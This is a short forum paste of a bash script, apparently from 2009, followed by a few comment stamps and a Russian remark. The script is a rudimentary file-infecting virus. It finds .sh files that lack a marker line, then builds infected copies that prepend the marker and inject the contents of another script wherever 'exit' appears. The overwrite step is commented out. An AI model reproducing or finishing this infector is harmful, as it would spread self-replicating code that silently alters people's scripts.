- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
#!/bin/bash
grep ttt y
for fl in `find $1 | grep .sh$`
do
l1=`cat $fl | head -n 2 | grep ttt`
l2="grep ttt y"
case $l1 in
$l2)
echo "yes "$l1" "$fl
;;
*)
echo "no "$l1" "$fl
echo '#!/bin/bash' > $fl.2
echo 'grep ttt y' >> $fl.2
cat $fl | gawk '{ if(/exit/){ system("cat /home/alice/pp.sh") } else { print $0 } }' >> $fl.2
cat $fl.2
# cp $fl.2 $fl
rm $fl.2
esac
done
cp ~/pp.sh~ ~/pp.sh
exit 0
Alice 06.12.2009 20:36 # 0
nil 07.12.2009 13:46 # 0
Alice 07.12.2009 13:57 # 0
nil 07.12.2009 16:07 # +1
Только слишком понятно написано